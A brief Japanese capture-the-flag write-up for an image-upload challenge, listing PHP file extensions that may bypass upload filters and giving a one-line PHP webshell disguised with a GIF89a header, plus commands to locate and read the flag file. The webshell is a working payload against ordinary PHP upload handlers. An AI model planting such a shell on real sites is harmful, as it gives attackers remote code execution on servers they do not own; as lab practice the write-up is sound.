【BUUCTF】【オタクチャレンジ2019】アップロード記事

0x00テストサイト

ファイルアップロードバイパス

• 画像ヘッダー付きのPHP1文トロイの木馬

解析可能なphpサフィックス名：

• php3、php4、php5、pht、phtml、phps、pht、phtm

0x01問題解決

• 画像をアップロードする必要があります

gif画像ヘッダーを使用したPHP1文トロイの木馬

GIF89a? <script language="php">eval($_REQUEST[a])</script>

find / -name flag

ls /
cat /flag